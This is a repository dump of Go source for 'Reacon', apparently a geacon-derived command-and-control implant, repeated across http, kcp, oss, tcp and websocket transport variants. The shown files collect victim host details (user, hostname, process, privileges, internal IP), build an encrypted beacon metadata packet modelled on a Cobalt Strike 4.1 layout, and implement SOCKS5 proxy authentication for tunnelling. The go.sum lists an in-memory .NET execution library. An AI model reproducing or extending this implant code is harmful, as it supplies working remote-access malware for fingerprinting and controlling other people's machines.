24 | if backslashPos > 0 {
25 | result = processName[backslashPos+1:]
26 | }
27 | return result
28 | }
29 |
30 | func GetPID() int {
31 | return os.Getpid()
32 | }
33 |
34 | func GetMetaDataFlag() int {
35 | flagInt := 0
36 | if IsHighPriv() {
37 | flagInt += 8
38 | }
39 | isOSX64, _ := IsOSX64()
40 | if isOSX64 {
41 | flagInt += 4
42 | }
43 | isProcessX64 := IsProcessX64()
44 | // there is no need to add 1 when process is x86
45 | if isProcessX64 {
46 | flagInt += 2
47 | }
48 | return flagInt
49 | }
50 |
51 | func GetComputerName() string {
52 | sHostName, _ := os.Hostname()
53 | // message too long for RSA public key size
54 | if runtime.GOOS == "linux" {
55 | sHostName = sHostName + " (Linux)"
56 | } else if runtime.GOOS == "darwin" {
57 | sHostName = sHostName + " (Darwin)"
58 | }
59 | return sHostName
60 | }
61 |
62 | // it is ok
63 | func IsProcessX64() bool {
64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" {
65 | //util.Println("geacon is x64")
66 | return true
67 | }
68 | //util.Println("geacon is x86")
69 | return false
70 | }
71 |
72 | func GetLocalIPInt() uint32 {
73 | addrs, err := net.InterfaceAddrs()
74 | if err != nil {
75 | return 0
76 | }
77 | var ip16 uint32
78 | var ip uint32
79 | for _, address := range addrs {
80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
81 | ipString := ipnet.IP.String()
82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") {
83 | if len(ipnet.IP) == 16 {
84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16])
85 | }
86 | ip = binary.LittleEndian.Uint32(ipnet.IP)
87 | }
88 | }
89 | }
90 | if ip16 != 0 {
91 | return ip16
92 | }
93 | return ip
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/sysinfo/meta.go:
--------------------------------------------------------------------------------
1 | package sysinfo
2 |
3 | import (
4 | "encoding/binary"
5 | "net"
6 | "os"
7 | "runtime"
8 | "strings"
9 | )
10 |
11 | func GetProcessName() string {
12 | processName, err := os.Executable()
13 | if err != nil {
14 | return "unknown"
15 | }
16 | // C:\Users\admin\Desktop\cmd.exe
17 | // ./cmd
18 | var result string
19 | slashPos := strings.LastIndex(processName, "\\")
20 | if slashPos > 0 {
21 | result = processName[slashPos+1:]
22 | }
23 | backslashPos := strings.LastIndex(processName, "/")
24 | if backslashPos > 0 {
25 | result = processName[backslashPos+1:]
26 | }
27 | return result
28 | }
29 |
30 | func GetPID() int {
31 | return os.Getpid()
32 | }
33 |
34 | func GetMetaDataFlag() int {
35 | flagInt := 0
36 | if IsHighPriv() {
37 | flagInt += 8
38 | }
39 | isOSX64, _ := IsOSX64()
40 | if isOSX64 {
41 | flagInt += 4
42 | }
43 | isProcessX64 := IsProcessX64()
44 | // there is no need to add 1 when process is x86
45 | if isProcessX64 {
46 | flagInt += 2
47 | }
48 | return flagInt
49 | }
50 |
51 | func GetComputerName() string {
52 | sHostName, _ := os.Hostname()
53 | // message too long for RSA public key size
54 | if runtime.GOOS == "linux" {
55 | sHostName = sHostName + " (Linux)"
56 | } else if runtime.GOOS == "darwin" {
57 | sHostName = sHostName + " (Darwin)"
58 | }
59 | return sHostName
60 | }
61 |
62 | // it is ok
63 | func IsProcessX64() bool {
64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" {
65 | //util.Println("geacon is x64")
66 | return true
67 | }
68 | //util.Println("geacon is x86")
69 | return false
70 | }
71 |
72 | func GetLocalIPInt() uint32 {
73 | addrs, err := net.InterfaceAddrs()
74 | if err != nil {
75 | return 0
76 | }
77 | var ip16 uint32
78 | var ip uint32
79 | for _, address := range addrs {
80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
81 | ipString := ipnet.IP.String()
82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") {
83 | if len(ipnet.IP) == 16 {
84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16])
85 | }
86 | ip = binary.LittleEndian.Uint32(ipnet.IP)
87 | }
88 | }
89 | }
90 | if ip16 != 0 {
91 | return ip16
92 | }
93 | return ip
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/services/proxy/auth.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "net"
5 |
6 | "Reacon/pkg/services/proxy/statute"
7 | )
8 |
9 | // AuthContext A Request encapsulates authentication state provided
10 | // during negotiation
11 | type AuthContext struct {
12 | // Provided auth method
13 | Method uint8
14 | // Payload provided during negotiation.
15 | // Keys depend on the used auth method.
16 | // For UserPass auth contains username/password
17 | // Payload map[string]string
18 | }
19 |
20 | // Authenticator provide auth
21 | type Authenticator interface {
22 | Authenticate(conn net.Conn) error
23 | GetCode() uint8
24 | }
25 |
26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode
27 | type NoAuthAuthenticator struct{}
28 |
29 | // GetCode implement interface Authenticator
30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth }
31 |
32 | // Authenticate implement interface Authenticator
33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error {
34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth})
35 | return err
36 | }
37 |
38 | // UserPassAuthenticator is used to handle username/password based
39 | // authentication
40 | type UserPassAuthenticator struct {
41 | Username string
42 | Password string
43 | }
44 |
45 | // GetCode implement interface Authenticator
46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth }
47 |
48 | // Authenticate implement interface Authenticator
49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error {
50 |
51 | // reply the client to use user/pass auth
52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil {
53 | return err
54 | }
55 |
56 | // get user and user's password
57 | nup, err := statute.ParseUserPassRequest(conn)
58 | if err != nil {
59 | return err
60 | }
61 |
62 | // Verify the password
63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) {
64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil {
65 | return err
66 | }
67 | return nil
68 | }
69 |
70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil {
71 | return err
72 | }
73 | return statute.ErrUserAuthFailed
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/auth.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "net"
5 |
6 | "Reacon/pkg/services/proxy/statute"
7 | )
8 |
9 | // AuthContext A Request encapsulates authentication state provided
10 | // during negotiation
11 | type AuthContext struct {
12 | // Provided auth method
13 | Method uint8
14 | // Payload provided during negotiation.
15 | // Keys depend on the used auth method.
16 | // For UserPass auth contains username/password
17 | // Payload map[string]string
18 | }
19 |
20 | // Authenticator provide auth
21 | type Authenticator interface {
22 | Authenticate(conn net.Conn) error
23 | GetCode() uint8
24 | }
25 |
26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode
27 | type NoAuthAuthenticator struct{}
28 |
29 | // GetCode implement interface Authenticator
30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth }
31 |
32 | // Authenticate implement interface Authenticator
33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error {
34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth})
35 | return err
36 | }
37 |
38 | // UserPassAuthenticator is used to handle username/password based
39 | // authentication
40 | type UserPassAuthenticator struct {
41 | Username string
42 | Password string
43 | }
44 |
45 | // GetCode implement interface Authenticator
46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth }
47 |
48 | // Authenticate implement interface Authenticator
49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error {
50 |
51 | // reply the client to use user/pass auth
52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil {
53 | return err
54 | }
55 |
56 | // get user and user's password
57 | nup, err := statute.ParseUserPassRequest(conn)
58 | if err != nil {
59 | return err
60 | }
61 |
62 | // Verify the password
63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) {
64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil {
65 | return err
66 | }
67 | return nil
68 | }
69 |
70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil {
71 | return err
72 | }
73 | return statute.ErrUserAuthFailed
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/auth.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "net"
5 |
6 | "Reacon/pkg/services/proxy/statute"
7 | )
8 |
9 | // AuthContext A Request encapsulates authentication state provided
10 | // during negotiation
11 | type AuthContext struct {
12 | // Provided auth method
13 | Method uint8
14 | // Payload provided during negotiation.
15 | // Keys depend on the used auth method.
16 | // For UserPass auth contains username/password
17 | // Payload map[string]string
18 | }
19 |
20 | // Authenticator provide auth
21 | type Authenticator interface {
22 | Authenticate(conn net.Conn) error
23 | GetCode() uint8
24 | }
25 |
26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode
27 | type NoAuthAuthenticator struct{}
28 |
29 | // GetCode implement interface Authenticator
30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth }
31 |
32 | // Authenticate implement interface Authenticator
33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error {
34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth})
35 | return err
36 | }
37 |
38 | // UserPassAuthenticator is used to handle username/password based
39 | // authentication
40 | type UserPassAuthenticator struct {
41 | Username string
42 | Password string
43 | }
44 |
45 | // GetCode implement interface Authenticator
46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth }
47 |
48 | // Authenticate implement interface Authenticator
49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error {
50 |
51 | // reply the client to use user/pass auth
52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil {
53 | return err
54 | }
55 |
56 | // get user and user's password
57 | nup, err := statute.ParseUserPassRequest(conn)
58 | if err != nil {
59 | return err
60 | }
61 |
62 | // Verify the password
63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) {
64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil {
65 | return err
66 | }
67 | return nil
68 | }
69 |
70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil {
71 | return err
72 | }
73 | return statute.ErrUserAuthFailed
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/auth.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "net"
5 |
6 | "Reacon/pkg/services/proxy/statute"
7 | )
8 |
9 | // AuthContext A Request encapsulates authentication state provided
10 | // during negotiation
11 | type AuthContext struct {
12 | // Provided auth method
13 | Method uint8
14 | // Payload provided during negotiation.
15 | // Keys depend on the used auth method.
16 | // For UserPass auth contains username/password
17 | // Payload map[string]string
18 | }
19 |
20 | // Authenticator provide auth
21 | type Authenticator interface {
22 | Authenticate(conn net.Conn) error
23 | GetCode() uint8
24 | }
25 |
26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode
27 | type NoAuthAuthenticator struct{}
28 |
29 | // GetCode implement interface Authenticator
30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth }
31 |
32 | // Authenticate implement interface Authenticator
33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error {
34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth})
35 | return err
36 | }
37 |
38 | // UserPassAuthenticator is used to handle username/password based
39 | // authentication
40 | type UserPassAuthenticator struct {
41 | Username string
42 | Password string
43 | }
44 |
45 | // GetCode implement interface Authenticator
46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth }
47 |
48 | // Authenticate implement interface Authenticator
49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error {
50 |
51 | // reply the client to use user/pass auth
52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil {
53 | return err
54 | }
55 |
56 | // get user and user's password
57 | nup, err := statute.ParseUserPassRequest(conn)
58 | if err != nil {
59 | return err
60 | }
61 |
62 | // Verify the password
63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) {
64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil {
65 | return err
66 | }
67 | return nil
68 | }
69 |
70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil {
71 | return err
72 | }
73 | return statute.ErrUserAuthFailed
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/auth.go:
--------------------------------------------------------------------------------
1 | package Proxy
2 |
3 | import (
4 | "net"
5 |
6 | "Reacon/pkg/services/proxy/statute"
7 | )
8 |
9 | // AuthContext A Request encapsulates authentication state provided
10 | // during negotiation
11 | type AuthContext struct {
12 | // Provided auth method
13 | Method uint8
14 | // Payload provided during negotiation.
15 | // Keys depend on the used auth method.
16 | // For UserPass auth contains username/password
17 | // Payload map[string]string
18 | }
19 |
20 | // Authenticator provide auth
21 | type Authenticator interface {
22 | Authenticate(conn net.Conn) error
23 | GetCode() uint8
24 | }
25 |
26 | // NoAuthAuthenticator is used to handle the "No Authentication" mode
27 | type NoAuthAuthenticator struct{}
28 |
29 | // GetCode implement interface Authenticator
30 | func (a NoAuthAuthenticator) GetCode() uint8 { return statute.MethodNoAuth }
31 |
32 | // Authenticate implement interface Authenticator
33 | func (a NoAuthAuthenticator) Authenticate(conn net.Conn) error {
34 | _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodNoAuth})
35 | return err
36 | }
37 |
38 | // UserPassAuthenticator is used to handle username/password based
39 | // authentication
40 | type UserPassAuthenticator struct {
41 | Username string
42 | Password string
43 | }
44 |
45 | // GetCode implement interface Authenticator
46 | func (a UserPassAuthenticator) GetCode() uint8 { return statute.MethodUserPassAuth }
47 |
48 | // Authenticate implement interface Authenticator
49 | func (a UserPassAuthenticator) Authenticate(conn net.Conn) error {
50 |
51 | // reply the client to use user/pass auth
52 | if _, err := conn.Write([]byte{statute.VersionSocks5, statute.MethodUserPassAuth}); err != nil {
53 | return err
54 | }
55 |
56 | // get user and user's password
57 | nup, err := statute.ParseUserPassRequest(conn)
58 | if err != nil {
59 | return err
60 | }
61 |
62 | // Verify the password
63 | if a.Username == string(nup.User) && a.Password == string(nup.Pass) {
64 | if _, err = conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthSuccess}); err != nil {
65 | return err
66 | }
67 | return nil
68 | }
69 |
70 | if _, err := conn.Write([]byte{statute.UserPassAuthVersion, statute.AuthFailure}); err != nil {
71 | return err
72 | }
73 | return statute.ErrUserAuthFailed
74 | }
75 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/utils/packet.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/sysinfo"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "golang.org/x/text/transform"
11 | "io/ioutil"
12 | "unicode/utf8"
13 | )
14 |
15 | func EncryptedMetaInfo() ([]byte, error) {
16 | packetUnencrypted := MakeMetaInfo()
17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted)
23 | return packetEncrypted, nil
24 | }
25 |
26 | /*
27 | MetaData for 4.1
28 |
29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) |
30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer)
31 | */
32 | /*
33 | PID(4) | Flag(1) | IP(4) | OSINFO(
34 | */
35 | func MakeMetaInfo() []byte {
36 |
37 | processID := sysinfo.GetPID()
38 | metadataFlag := sysinfo.GetMetaDataFlag()
39 | processName := sysinfo.GetProcessName()
40 | localIP := sysinfo.GetLocalIPInt()
41 | hostName := sysinfo.GetComputerName()
42 | currentUser, _ := sysinfo.GetUsername()
43 |
44 | processIDBytes := make([]byte, 4)
45 | flagBytes := make([]byte, 1)
46 | localIPBytes := make([]byte, 4)
47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
48 | flagBytes[0] = byte(metadataFlag)
49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
50 |
51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName)
52 | if len(osInfo) > 58 {
53 | osInfo = osInfo[:58]
54 | }
55 | osInfoBytes := []byte(osInfo)
56 |
57 | //fmt.Printf("clientID: %d\n", clientID)
58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes)
59 |
60 | return onlineInfoBytes
61 | }
62 | func ReadInt(b []byte) uint32 {
63 | return binary.BigEndian.Uint32(b)
64 | }
65 | func WriteInt(nInt int) []byte {
66 | bBytes := make([]byte, 4)
67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt))
68 | return bBytes
69 | }
70 | func CodepageToUTF8(b []byte) ([]byte, error) {
71 | if !utf8.Valid(b) {
72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
73 | d, e := ioutil.ReadAll(reader)
74 | if e != nil {
75 | return nil, e
76 | }
77 | return d, nil
78 | }
79 | return b, nil
80 | }
81 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/utils/packet.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/sysinfo"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "golang.org/x/text/transform"
11 | "io/ioutil"
12 | "unicode/utf8"
13 | )
14 |
15 | func EncryptedMetaInfo() ([]byte, error) {
16 | packetUnencrypted := MakeMetaInfo()
17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted)
23 | return packetEncrypted, nil
24 | }
25 |
26 | /*
27 | MetaData for 4.1
28 |
29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) |
30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer)
31 | */
32 | /*
33 | PID(4) | Flag(1) | IP(4) | OSINFO(
34 | */
35 | func MakeMetaInfo() []byte {
36 |
37 | processID := sysinfo.GetPID()
38 | metadataFlag := sysinfo.GetMetaDataFlag()
39 | processName := sysinfo.GetProcessName()
40 | localIP := sysinfo.GetLocalIPInt()
41 | hostName := sysinfo.GetComputerName()
42 | currentUser, _ := sysinfo.GetUsername()
43 |
44 | processIDBytes := make([]byte, 4)
45 | flagBytes := make([]byte, 1)
46 | localIPBytes := make([]byte, 4)
47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
48 | flagBytes[0] = byte(metadataFlag)
49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
50 |
51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName)
52 | if len(osInfo) > 58 {
53 | osInfo = osInfo[:58]
54 | }
55 | osInfoBytes := []byte(osInfo)
56 |
57 | //fmt.Printf("clientID: %d\n", clientID)
58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes)
59 |
60 | return onlineInfoBytes
61 | }
62 | func ReadInt(b []byte) uint32 {
63 | return binary.BigEndian.Uint32(b)
64 | }
65 | func WriteInt(nInt int) []byte {
66 | bBytes := make([]byte, 4)
67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt))
68 | return bBytes
69 | }
70 | func CodepageToUTF8(b []byte) ([]byte, error) {
71 | if !utf8.Valid(b) {
72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
73 | d, e := ioutil.ReadAll(reader)
74 | if e != nil {
75 | return nil, e
76 | }
77 | return d, nil
78 | }
79 | return b, nil
80 | }
81 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/utils/packet.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/sysinfo"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "golang.org/x/text/transform"
11 | "io/ioutil"
12 | "unicode/utf8"
13 | )
14 |
15 | func EncryptedMetaInfo() ([]byte, error) {
16 | packetUnencrypted := MakeMetaInfo()
17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted)
23 | return packetEncrypted, nil
24 | }
25 |
26 | /*
27 | MetaData for 4.1
28 |
29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) |
30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer)
31 | */
32 | /*
33 | PID(4) | Flag(1) | IP(4) | OSINFO(
34 | */
35 | func MakeMetaInfo() []byte {
36 |
37 | processID := sysinfo.GetPID()
38 | metadataFlag := sysinfo.GetMetaDataFlag()
39 | processName := sysinfo.GetProcessName()
40 | localIP := sysinfo.GetLocalIPInt()
41 | hostName := sysinfo.GetComputerName()
42 | currentUser, _ := sysinfo.GetUsername()
43 |
44 | processIDBytes := make([]byte, 4)
45 | flagBytes := make([]byte, 1)
46 | localIPBytes := make([]byte, 4)
47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
48 | flagBytes[0] = byte(metadataFlag)
49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
50 |
51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName)
52 | if len(osInfo) > 58 {
53 | osInfo = osInfo[:58]
54 | }
55 | osInfoBytes := []byte(osInfo)
56 |
57 | //fmt.Printf("clientID: %d\n", clientID)
58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes)
59 |
60 | return onlineInfoBytes
61 | }
62 | func ReadInt(b []byte) uint32 {
63 | return binary.BigEndian.Uint32(b)
64 | }
65 | func WriteInt(nInt int) []byte {
66 | bBytes := make([]byte, 4)
67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt))
68 | return bBytes
69 | }
70 | func CodepageToUTF8(b []byte) ([]byte, error) {
71 | if !utf8.Valid(b) {
72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
73 | d, e := ioutil.ReadAll(reader)
74 | if e != nil {
75 | return nil, e
76 | }
77 | return d, nil
78 | }
79 | return b, nil
80 | }
81 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/utils/packet.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/sysinfo"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "golang.org/x/text/transform"
11 | "io/ioutil"
12 | "unicode/utf8"
13 | )
14 |
15 | func EncryptedMetaInfo() ([]byte, error) {
16 | packetUnencrypted := MakeMetaInfo()
17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted)
23 | return packetEncrypted, nil
24 | }
25 |
26 | /*
27 | MetaData for 4.1
28 |
29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) |
30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer)
31 | */
32 | /*
33 | PID(4) | Flag(1) | IP(4) | OSINFO(
34 | */
35 | func MakeMetaInfo() []byte {
36 |
37 | processID := sysinfo.GetPID()
38 | metadataFlag := sysinfo.GetMetaDataFlag()
39 | processName := sysinfo.GetProcessName()
40 | localIP := sysinfo.GetLocalIPInt()
41 | hostName := sysinfo.GetComputerName()
42 | currentUser, _ := sysinfo.GetUsername()
43 |
44 | processIDBytes := make([]byte, 4)
45 | flagBytes := make([]byte, 1)
46 | localIPBytes := make([]byte, 4)
47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
48 | flagBytes[0] = byte(metadataFlag)
49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
50 |
51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName)
52 | if len(osInfo) > 58 {
53 | osInfo = osInfo[:58]
54 | }
55 | osInfoBytes := []byte(osInfo)
56 |
57 | //fmt.Printf("clientID: %d\n", clientID)
58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes)
59 |
60 | return onlineInfoBytes
61 | }
62 | func ReadInt(b []byte) uint32 {
63 | return binary.BigEndian.Uint32(b)
64 | }
65 | func WriteInt(nInt int) []byte {
66 | bBytes := make([]byte, 4)
67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt))
68 | return bBytes
69 | }
70 | func CodepageToUTF8(b []byte) ([]byte, error) {
71 | if !utf8.Valid(b) {
72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
73 | d, e := ioutil.ReadAll(reader)
74 | if e != nil {
75 | return nil, e
76 | }
77 | return d, nil
78 | }
79 | return b, nil
80 | }
81 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/utils/packet.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "Reacon/pkg/encrypt"
5 | "Reacon/pkg/sysinfo"
6 | "bytes"
7 | "encoding/binary"
8 | "fmt"
9 | "golang.org/x/text/encoding/simplifiedchinese"
10 | "golang.org/x/text/transform"
11 | "io/ioutil"
12 | "unicode/utf8"
13 | )
14 |
15 | func EncryptedMetaInfo() ([]byte, error) {
16 | packetUnencrypted := MakeMetaInfo()
17 | packetEncrypted, err := encrypt.Encrypt(packetUnencrypted)
18 | if err != nil {
19 | return nil, err
20 | }
21 |
22 | //finalPakcet := base64.StdEncoding.EncodeToString(packetEncrypted)
23 | return packetEncrypted, nil
24 | }
25 |
26 | /*
27 | MetaData for 4.1
28 |
29 | ID(4) | PID(4) | Port(2) | Flag(1) | Ver1(1) | Ver2(1) | Build(2) | PTR(4) | PTR_GMH(4) | PTR_GPA(4) | internal IP(4 LittleEndian) |
30 | InfoString(from 51 to all, split with \t) = Computer\tUser\tProcess(if isSSH() this will be SSHVer)
31 | */
32 | /*
33 | PID(4) | Flag(1) | IP(4) | OSINFO(
34 | */
35 | func MakeMetaInfo() []byte {
36 |
37 | processID := sysinfo.GetPID()
38 | metadataFlag := sysinfo.GetMetaDataFlag()
39 | processName := sysinfo.GetProcessName()
40 | localIP := sysinfo.GetLocalIPInt()
41 | hostName := sysinfo.GetComputerName()
42 | currentUser, _ := sysinfo.GetUsername()
43 |
44 | processIDBytes := make([]byte, 4)
45 | flagBytes := make([]byte, 1)
46 | localIPBytes := make([]byte, 4)
47 | binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
48 | flagBytes[0] = byte(metadataFlag)
49 | binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
50 |
51 | osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, processName)
52 | if len(osInfo) > 58 {
53 | osInfo = osInfo[:58]
54 | }
55 | osInfoBytes := []byte(osInfo)
56 |
57 | //fmt.Printf("clientID: %d\n", clientID)
58 | onlineInfoBytes := BytesCombine(processIDBytes, flagBytes, localIPBytes, osInfoBytes)
59 |
60 | return onlineInfoBytes
61 | }
62 | func ReadInt(b []byte) uint32 {
63 | return binary.BigEndian.Uint32(b)
64 | }
65 | func WriteInt(nInt int) []byte {
66 | bBytes := make([]byte, 4)
67 | binary.BigEndian.PutUint32(bBytes, uint32(nInt))
68 | return bBytes
69 | }
70 | func CodepageToUTF8(b []byte) ([]byte, error) {
71 | if !utf8.Valid(b) {
72 | reader := transform.NewReader(bytes.NewReader(b), simplifiedchinese.GBK.NewDecoder())
73 | d, e := ioutil.ReadAll(reader)
74 | if e != nil {
75 | return nil, e
76 | }
77 | return d, nil
78 | }
79 | return b, nil
80 | }
81 |
--------------------------------------------------------------------------------
/Reacon_tcp/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
